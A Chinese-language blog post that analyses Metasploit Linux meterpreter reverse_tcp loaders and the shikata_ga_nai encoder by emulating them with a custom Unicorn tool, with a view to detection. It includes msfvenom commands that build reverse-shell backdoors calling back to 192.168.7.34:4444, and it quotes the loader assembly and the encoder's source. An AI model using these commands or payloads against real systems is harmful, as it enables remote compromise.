前言
本文主要是通过编写一些自动化的工具来分析metepreter生成的linux平台的shellcode loader，以及解释一些常用的编码器的工作过程。
本文使用的工具是 unicorn，官方版本没有执行SMC代码的能力(已经在修了)，推荐暂时使用个人patch版本https://github.com/wonderkun/unicorn
无编码器的metepreter shellcode loader
首先生成一个metepreter后门，然后用IDA分析一下。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.7.34 LPORT=4444 -f elf > tese.elf
ida看一下生成的代码如下：
ida虽然对一些syscall进行了注释，但是rax被动态赋值的时候调用syscall，IDA就无能为力了，所以接下来要基于unicorn写模拟执行工具，来进行分析。
0x01 加载ELF文件
首先先来解析ELF文件，获取可执行的segment的代码，进行加载。这一步不一定有必要做，因为你可以直接模拟执行shellcode，也可以使用IDApython直接提取代码来分析。但是我还是希望能够直接分析ELF文件，并且不依赖于IDA的辅助，所以从最基础的部分开始做起。
class ELF(object):
def __init__(self,path):
self.path = path
self.fd = open(self.path,"rb")
def delete(self):
# 需要手工调用，否则会产生文件占用
if self.fd:
self.fd.close()
def getFileHeader(self):
elfhdr = {}
'''
#define EI_NIDENT 16
typedef struct {
unsigned char e_ident[EI_NIDENT];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shstrndx;
} Elf32_Ehdr;
typedef struct {
unsigned char e_ident[EI_NIDENT];
Elf64_Half e_type;
Elf64_Half e_machine;
Elf64_Word e_version;
Elf64_Addr e_entry;
Elf64_Off e_phoff;
Elf64_Off e_shoff;
Elf64_Word e_flags;
Elf64_Half e_ehsize;
Elf64_Half e_phentsize;
Elf64_Half e_phnum;
Elf64_Half e_shentsize;
Elf64_Half e_shnum;
Elf64_Half e_shstrndx;
} Elf64_Ehdr;
'''
elfident = self.fd.read(16)
if len(elfident) !=16:
return {}
# print( [ ord(i) for i in elfident] )
magic = [ ord(i) for i in elfident]
if magic[4] == 1:
# ELF 32
packStr = "<2H5I6H"
elfhdr["mode"] = 32
elif magic[4] == 2:
# ELF 64
packStr = "<2HI3QI6H"
elfhdr["mode"] = 64
else:
# Data
return {}
temp = self.fd.read(struct.calcsize( packStr ))
temp = struct.unpack(packStr,temp)
elfhdr['magic'] = magic
elfhdr['e_type']= temp[0]
elfhdr['e_machine'] = temp[1]
elfhdr['e_version'] = temp[2]
elfhdr['e_entry'] = temp[3]
elfhdr['e_phoff'] = temp[4]
elfhdr['e_shoff'] = temp[5]
elfhdr['e_flags'] = temp[6]
elfhdr['e_ehsize'] = temp[7]
elfhdr['e_phentsize'] = temp[8]
elfhdr['e_phnum'] = temp[9]
elfhdr['e_shentsize'] = temp[10]
elfhdr['e_shnum'] = temp[11]
elfhdr['e_shstrndx'] = temp[12]
return elfhdr
def hasNoSectionInfo(self,elfhdr ):
if not elfhdr:
return False
if elfhdr["e_shoff"] == 0 and \
elfhdr["e_shnum"] == 0:
return True
return False
# print(elfhdr["e_shoff"])
# print( elfhdr["e_shnum"] )
# print( elfhdr["e_shentsize"] )
def readProgramHeader(self,elfhdr):
headerSize = elfhdr["e_ehsize"]
self.fd.seek(headerSize)
'''
typedef struct {
Elf32_Word p_type;
Elf32_Off p_offset;
Elf32_Addr p_vaddr;
Elf32_Addr p_paddr;
Elf32_Word p_filesz;
Elf32_Word p_memsz;
Elf32_Word p_flags;
Elf32_Word p_align;
} Elf32_Phdr;
typedef struct {
Elf64_Word p_type;
Elf64_Word p_flags;
Elf64_Off p_offset;
Elf64_Addr p_vaddr;
Elf64_Addr p_paddr;
Elf64_Xword p_filesz;
Elf64_Xword p_memsz;
Elf64_Xword p_align;
} Elf64_Phdr;
'''
if elfhdr["mode"] == 32:
packStr = "<8I"
elif elfhdr["mode"] == 64:
packStr = "<2I6Q"
phentsize = elfhdr["e_phentsize"]
phnum = elfhdr["e_phnum"]
if struct.calcsize( packStr ) != phentsize :
return []
assert( phnum >= 1 )
phHeaders = []
for i in range(phnum):
# 循环读取所有的段表
phHeader = {}
temp = self.fd.read(struct.calcsize( packStr ))
if struct.calcsize( packStr ) != len(temp):
continue
temp = struct.unpack(packStr,temp)
if elfhdr["mode"] == 32:
phHeader["p_type"] = temp[0]
phHeader["p_offset"] = temp[1]
phHeader["p_vaddr"] = temp[2]
phHeader["p_paddr"] = temp[3]
phHeader["p_filesz"] = temp[4]
phHeader["p_memsz"] = temp[5]
phHeader["p_flags"] = temp[6]
phHeader["p_align"] = temp[7]
elif elfhdr["mode"] == 64:
phHeader["p_type"] = temp[0]
phHeader["p_flags"] = temp[1]
phHeader["p_offset"] = temp[2]
phHeader["p_vaddr"] = temp[3]
phHeader["p_paddr"] = temp[4]
phHeader["p_filesz"] = temp[5]
phHeader["p_memsz"] = temp[6]
phHeader["p_align"] = temp[7]
phHeaders.append( phHeader )
return phHeaders
def getFirstCode(self,elfhdr,phHeaders):
# 读取第一个 包含入口地址 并且可加载，可执行的段的数据
entryPoint = elfhdr["e_entry"]
PT_LOAD = 1
PF_X = 0x1
PF_W = 0x2
PF_R = 0x4
firstPh = None
# print(phHeaders)
for phHeader in phHeaders:
if not ( entryPoint >= phHeader["p_vaddr"] and entryPoint < (phHeader["p_vaddr"]+phHeader["p_filesz"]) ):
continue
if phHeader["p_type"] == PT_LOAD and\
(phHeader["p_flags"] & (PF_X)):
# rwx
firstPh = phHeader
# print(firstPh)
if firstPh:
fileOff = entryPoint - firstPh["p_vaddr"] + phHeader["p_offset"]
size = phHeader["p_filesz"] - ( entryPoint - firstPh["p_vaddr"] )
if fileOff < 0 or size < 0 :
# invalid entry point
return None,None
self.fd.seek(fileOff)
imageBase = firstPh["p_vaddr"]
return imageBase,self.fd.read( size )
return None,None
然后从entryPoint开始进行模拟执行。
class SimpleEngine:
def __init__(self, mode):
if mode == 32:
cur_mode = CS_MODE_32
elif mode == 64:
cur_mode = CS_MODE_64
else:
cur_mode = CS_MODE_16
self.capmd = Cs(CS_ARCH_X86, cur_mode)
def disas_single(self, data, addr):
for i in self.capmd.disasm(data, addr):
print(" 0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))
break
def disas_all(self, data, addr):
for i in self.capmd.disasm(data, addr):
print(" 0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))
def hook_code(uc, addr, size, user_data):
mem = uc.mem_read(addr, size)
uc.disasm.disas_single(mem, addr)
# if debug:
# print("r10:{}".format( hex(uc.reg_read( UC_X86_REG_R10 ) ) ))
# print("rcx:{}".format( uc.reg_read( UC_X86_REG_RCX ) ) )
# print("rdx:{}".format( uc.reg_read( UC_X86_REG_RDX ) ) )
return True
def main(bin_code,mode,imageBase,entryPoint,max_instruction=0):
global write_bounds
global debug
debug = True
tags = []
write_bounds = [None, None]
disas_engine = SimpleEngine(mode)
if mode == 32:
cur_mode = UC_MODE_32
elif mode == 64:
cur_mode = UC_MODE_64
else:
cur_mode = UC_MODE_16
PAGE_SIZE = 6 * 1024 * 1024
START_RIP = entryPoint
# setup engine and write the memory there.
emu = Uc(UC_ARCH_X86, cur_mode)
emu.disasm = disas_engine # python is silly but it works.
# print( hex(imageBase),PAGE_SIZE,mode )
emu.mem_map(imageBase, PAGE_SIZE)
# write machine code to be emulated to memory
emu.mem_write(START_RIP, bin_code)
# write a INT 0x3 near the end of the code blob to make sure emulation ends
emu.mem_write(START_RIP + len(bin_code) + 0xff, b"\xcc\xcc\xcc\xcc")
if debug:
# emu.hook_add(UC_HOOK_MEM_READ, hook_mem_read)
emu.hook_add(UC_HOOK_CODE, hook_code)
# arbitrary address for ESP.
stackBase = imageBase + PAGE_SIZE - 1*1024 * 1024
emu.reg_write(UC_X86_REG_ESP,stackBase)
if max_instruction:
end_addr = -1
else:
max_instruction = 0x1000
end_addr = len(bin_code)
try:
emu.emu_start(START_RIP, end_addr, 0, int(max_instruction))
# except UC_ERR_READ_UNMAPPED as e:
# # print("ERROR: %s" % e)
# pass
except UcError as e:
if e.errno != UC_ERR_READ_UNMAPPED:
print("ERROR: %s" % e)
else:
if debug:
print("rcx:{}".format( emu.reg_read( UC_X86_REG_RCX ) ) )
print("rbp:{}".format( emu.reg_read( UC_X86_REG_RBP ) ) )
执行一下，就可以dump出来当前分支的所有代码，但是现在还并没有处理syscall，接下里需要添加syscall的hook，来dump syscall的参数来方便分析。
0x02 syscall 参数的处理
x86_64 的syscall调用的系统调用号、参数、和系统调用号可以参考文档 https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md。
接下里进行 syscall的hook，编写如下类：
class HookSyscall(object):
def __init__(self):
self.c2Server = None
self.protectAddr = 0
self.writeAddr = 0
self.addrLen = 0
self.dupList = set() # dup2
def ip2Str(self,num):
s = []
for i in range(4):
s.append(str( num%256 ))
num //= 256
return '.'.join(s[::-1])
def __call__(self,uc,user_data):
# pass
rax = uc.reg_read(UC_X86_REG_RAX)
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
r10 = uc.reg_read(UC_X86_REG_R10)
r8 = uc.reg_read(UC_X86_REG_R8)
r9 = uc.reg_read(UC_X86_REG_R9)
if debug:
print( "[*] rax:\t{},rdi:\t{},rsi:\t{},rdx:\t{},r10:\t{}".format(
hex(rax),rdi,rsi,rdx,r10
) )
if rax == 0x09:
# # syscall mmap
# if debug:
# print("[-] mmap")
PROT_EXEC = 0x04
PROT_WRITE = 0x02
if rdx & PROT_EXEC and rdx & PROT_WRITE:
# 返回一个地址
rip = uc.reg_read(UC_X86_REG_RIP)
self.protectAddr = (rip >> 12 << 12) + 4*0x1000
self.addrLen = rsi
if debug:
print("[-] mmap size: {},permit: {} , addr: {} ".format( rsi,rdx & 0b111,self.protectAddr ))
uc.reg_write(UC_X86_REG_RAX,self.protectAddr)
return
if rax == 0x2b:
if debug:
print("[-] listen")
uc.reg_write(UC_X86_REG_RAX,0)
return
if rax == 0x29:
if debug:
print("[-] socket")
return
if rax == 0x21:
if debug:
print("[-] dup2 , {}->{}".format( rdi, rsi))
self.dupList.add( rsi )
if rax == 0x2a or rax == 0x31:
if debug:
print("[-] connect or bind!")
sockaddr_in_addr = rsi
sockaddr_in_str = ">2HI"
tmp = uc.mem_read(sockaddr_in_addr, struct.calcsize(sockaddr_in_str) )
sockaddr_in = struct.unpack(sockaddr_in_str,tmp)
# print(tmp)
uc.reg_write(UC_X86_REG_RAX,0x0)
# print(sockaddr_in)
port = sockaddr_in[1]
addr = self.ip2Str(sockaddr_in[2])
if debug:
print("[-] c2 Server {}:{}".format( addr,port ))
self.c2Server = "{}:{}".format(addr,port)
return
if rax == 0x00:
print("[-] read")
self.writeAddr = rsi
uc.reg_write(UC_X86_REG_RAX,0)
return
# if rax ==
uc.reg_write(UC_X86_REG_RAX,0)
return True
添加hook:
hookSyscall = HookSyscall()
emu.hook_add(UC_HOOK_INSN, hookSyscall, None, 1, 0, UC_X86_INS_SYSCALL)
然后运行，就可以看到监控到的syscall参数：
0x40008d: syscall
[*] rax: 0x9L,rdi: 0,rsi: 4096,rdx: 4103,r10: 34
[-] mmap size: 4096,permit: 7 , addr: 4210688
...
0x4000a3: syscall
[*] rax: 0x29L,rdi: 2,rsi: 1,rdx: 0,r10: 34
[-] socket
...
0x4000c0: syscall
[*] rax: 0x2aL,rdi: 41,rsi: 9437168,rdx: 16,r10: 34
[-] connect or bind!
[-] c2 Server 192.168.7.34:4444
...
0x4000f1: syscall
[*] rax: 0x0L,rdi: 41,rsi: 4210688,rdx: 126,r10: 34
[-] read
0x4000f3: test rax, rax
0x4000f6: js 0x4000e5
0x4000f8: jmp rsi
可以看到加载远程的shellcode主要分为五个步骤:
1. mmap 申请一块rwx权限的内存空间,地址为A
2. socket 创建一个socket
3. connect 连接一个socket
4. read 读取远程数据写到A
5. jmp A 执行代码
整个过程还是比较简单的。
编码器的执行过程分析
metepreter 的二进制编码器都是使用SMC代码来实现恶意代码的隐藏，本文使用效果excellent的编码器 x86/shikata_ga_nai 进行示例，接下里的代码一定要使用我patch过的unicorn才能获得预期的效果。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.7.34 LPORT=4444 -e x86/shikata_ga_nai -i 1 -f elf > tese_encoder.elf
看一下生成的代码:
很明显:
LOAD:000000000040007D fcmovb st, st(2)
LOAD:000000000040007F fnstenv [rsp+var_C]
LOAD:0000000000400083 pop rbx
获取了下一条指令的地址(当前的RIP)存储在了rbx中，然后调整偏移和esi异或来进行代码修改：
LOAD:0000000000400084 sub ecx, ecx
LOAD:0000000000400086 mov cl, 21h ; '!'
LOAD:0000000000400088 sub ebx, 0FFFFFFFCh
LOAD:000000000040008B xor [rbx+10h], esi
经过测试，此编码器每次生成的密钥都不同，也就是这条指令mov esi, 0EF034529h，剩下的流程都是一样的，包括需要解密的长度，一直都是 mov cl, 21h。
仅依靠静态来识别此编码器还是比较简单的，但是想要识别编码器的混用或者自定义的编码器，静态可能就力不从心了，所以我们下面写代码来识别出这种自修改代码。
# 添加如下hook函数
emu.hook_add(UC_HOOK_MEM_WRITE, hook_smc_check)
write_bounds = [None, None]
def hook_smc_check(uc, access, address, size, value, user_data):
SMC_BOUND = 0x200
rip = uc.reg_read(UC_X86_REG_RIP)
# Just check if the write target addr is near EIP
if abs(rip - address) < SMC_BOUND:
if write_bounds[0] == None:
write_bounds[0] = address
write_bounds[1] = address
elif address < write_bounds[0]:
write_bounds[0] = address
elif address > write_bounds[1]:
write_bounds[1] = address
if write_bounds[0] != None:
# print("Shellcode address ranges:")
# print(" low: 0x%X" % write_bounds[0])
# print(" high: 0x%X" % write_bounds[1])
# print("")
# print("Decoded shellcode:")
mem = emu.mem_read(write_bounds[0], (write_bounds[1] - write_bounds[0]))
emu.disasm.disas_all(mem, write_bounds[0])
这样就会完整的dump修改之后的代码，这个修改后的代码和之前生成的代码是相同的。x86系统调用的是int 80中断，其实原理都是一样的， 所以不再赘述。到这里基本的原理和代码都已经讲完了，随便自己再完善一下就可以实现metasploit生成的后门的模拟执行检测了。
Metasploit生成shellcode的过程
payload
msfvenom 文件的路径在 metasploit-framework/embedded/framework/msfvenom,跟踪这个文件的中的执行流程，当 payload 为 linux/x86/meterpreter/reverse_tcp 会执行到文件 metasploit-framework/embedded/framework/lib/msf/core/payload/linux/reverse_tcp_x86.rb。
- 函数
asm_reverse_tcp就是生成 shellcode 主函数
def asm_reverse_tcp(opts={})
# TODO: reliability is coming
retry_count = opts[:retry_count]
encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
seconds = (opts[:sleep_seconds] || 5.0)
sleep_seconds = seconds.to_i
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC
获取重试次数、sleep时间，反弹地址和端口等参数信息。
if respond_to?(:generate_intermediate_stage)
pay_mod = framework.payloads.create(self.refname)
puts "datastore:",datastore,"\n"
payload = pay_mod.generate_stage(datastore.to_h)
# puts "payload:#{payload.split(//).each {|e|;print (e.unpack('H*').to_s)}}"
read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
elsif !module_info['Stage']['Payload'].empty?
read_length = module_info['Stage']['Payload'].size
else
# If we don't know, at least use small instructions
read_length = 0x0c00 + mprotect_flags
end
此代码只是为了计算下一个控制阶段所要使用的 shellcode 的长度，在这里生成的shellcode不会在本次loader阶段下发。
接着就是 shellcode :
asm = %Q^
push #{retry_count} ; retry counter
pop esi
create_socket:
xor ebx, ebx
mul ebx
push ebx
inc ebx
push ebx
push 0x2
mov al, 0x66
mov ecx, esp
int 0x80 ; sys_socketcall (socket())
xchg eax, edi ; store the socket in edi
set_address:
pop ebx ; set ebx back to zero
push #{encoded_host}
push #{encoded_port}
mov ecx, esp
try_connect:
push 0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int 0x80 ; sys_socketcall (connect())
test eax, eax
jns mprotect
handle_failure:
dec esi
jz failed
push 0xa2
pop eax
push 0x#{sleep_nanoseconds.to_s(16)}
push 0x#{sleep_seconds.to_s(16)}
mov ebx, esp
xor ecx, ecx
int 0x80 ; sys_nanosleep
test eax, eax
jns create_socket
jmp failed
^
asm << asm_send_uuid if include_send_uuid
asm << %Q^
mprotect:
mov dl, 0x#{mprotect_flags.to_s(16)}
mov ecx, 0x1000
mov ebx, esp
shr ebx, 0xc
shl ebx, 0xc
mov al, 0x7d
int 0x80 ; sys_mprotect
test eax, eax
js failed
recv:
pop ebx
mov ecx, esp
cdq
mov #{read_reg}, 0x#{read_length.to_s(16)}
mov al, 0x3
int 0x80 ; sys_read (recv())
test eax, eax
js failed
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1 ; set exit status to 1
int 0x80 ; sys_exit
^
asm
这个代码之前就分析过，这里看起来就非常熟悉了。
encoder
上一步是生成 payload, 接下来这一步就是利用 encoder 对 payload 进行编码，
encoder x86/shikata_ga_nai 的代码路径是 metasploit-framework/embedded/framework/modules/encoders/x86/shikata_ga_nai.rb:
函数 decoder_stub 是关键，主要作用是生成 shellcode 解码的头部:
def decoder_stub(state)
# If the decoder stub has not already been generated for this state, do
# it now. The decoder stub method may be called more than once.
if (state.decoder_stub == nil)
# Sanity check that saved_registers doesn't overlap with modified_registers
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
# Shikata will only cut off the last 1-4 bytes of it's own end
# depending on the alignment of the original buffer
cutoff = 4 - (state.buf.length & 3)
block = generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
# Set the state specific key offset to wherever the XORK ended up.
state.decoder_key_offset = block.index('XORK')
# Take the last 1-4 bytes of shikata and prepend them to the buffer
# that is going to be encoded to make it align on a 4-byte boundary.
state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
# Cache this decoder stub. The reason we cache the decoder stub is
# because we need to ensure that the same stub is returned every time
# for a given encoder state.
state.decoder_stub = block
end
state.decoder_stub
end
先不看 generate_shikata_block 函数的实现，先打印一下 block 内容和最后生成的 elf 文件：
block: "\xDB\xCB\xBFXORK\xD9t$\xF4]3\xC9\xB1\x1F1}\x1A\x83\xED\xFC\x03}\x16\xE2\xF5"
可以看到 block 的代码就是 fpu 和 getPC 功能的代码，其中 XORK 就是最后的解密密钥，这个值是动态变化的，保证每次都不相同。
但是这样的一个解密的头部，其实还是存在一个很固定的形式的，来看 generate_shikata_block 的代码：
count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')
key_reg = nil
if state.context_encoding
key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
else
key_reg = Rex::Poly::LogicalRegister::X86.new('key')
end
# Declare individual blocks
endb = Rex::Poly::SymbolicBlock::End.new
# Clear the counter register
clear_register = Rex::Poly::LogicalBlock.new('clear_register',
"\x31\xc9", # xor ecx,ecx
"\x29\xc9", # sub ecx,ecx
"\x33\xc9", # xor ecx,ecx
"\x2b\xc9") # sub ecx,ecx
ecx 中存储是接下来要进行解密的长度，所以需要先清空 ecx,清空的指令是从这几条指令中任选一条。
if (length <= 255)
init_counter.add_perm("\xb1" + [ length ].pack('C'))
elsif (length <= 65536)
init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
else
init_counter.add_perm("\xb9" + [ length ].pack('V'))
end
# Key initialization block
init_key = nil
# If using context encoding, we use a mov reg, [addr]
if state.context_encoding
init_key = Rex::Poly::LogicalBlock.new('init_key',
Proc.new { |b| (0xa1 + b.regnum_of(key_reg)).chr + 'XORK'})
# Otherwise, we do a direct mov reg, val
else
init_key = Rex::Poly::LogicalBlock.new('init_key',
Proc.new { |b| (0xb8 + b.regnum_of(key_reg)).chr + 'XORK'})
end
xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
sub4 = Proc.new { |b| sub_immediate(b.regnum_of(addr_reg), -4) }
add4 = Proc.new { |b| add_immediate(b.regnum_of(addr_reg), 4) }
计算偏移，生成如下四条指令:
LOAD:08048062 B1 1F mov cl, 1Fh
LOAD:08048064 31 7D 1A xor [ebp+1Ah], edi
LOAD:08048067 83 ED FC sub ebp, 0FFFFFFFCh
LOAD:0804806A 03 7D 16 add edi, [ebp+16h]
fpu = Rex::Poly::LogicalBlock.new('fpu',
*fpu_instructions)
fnstenv = Rex::Poly::LogicalBlock.new('fnstenv',
"\xd9\x74\x24\xf4")
fnstenv.depends_on(fpu)
# Get EIP off the stack
getpc = Rex::Poly::LogicalBlock.new('getpc',
Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
getpc.depends_on(fnstenv)
生成 fpu 操作指令和 fnstenv 指令，来getpc。
可以看到 \xd9\x74\x24\xf4 是一个硬编码，这就是一个特征。同时fpu 指令也是有限的：
def fpu_instructions
puts "-----sub_immediate : fpu_instructions----------------"
fpus = []
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
fpus << "\xd9\xd0"
fpus << "\xd9\xe1"
fpus << "\xd9\xf6"
fpus << "\xd9\xf7"
fpus << "\xd9\xe5"
# This FPU instruction seems to fail consistently on Linux
#fpus << "\xdb\xe1"
fpus
end
所有可能的指令选择都在 fpus 这个数组中了。剩下的部分就不再说了。
检测
经过上述的分析，可以发现 x86/shikata_ga_nai 编码器的特征也是比较固定的，所以针对这个特征写出专有的静态查杀规则也是比较简单的。本文就不再写了，有兴趣的自己写一个把。
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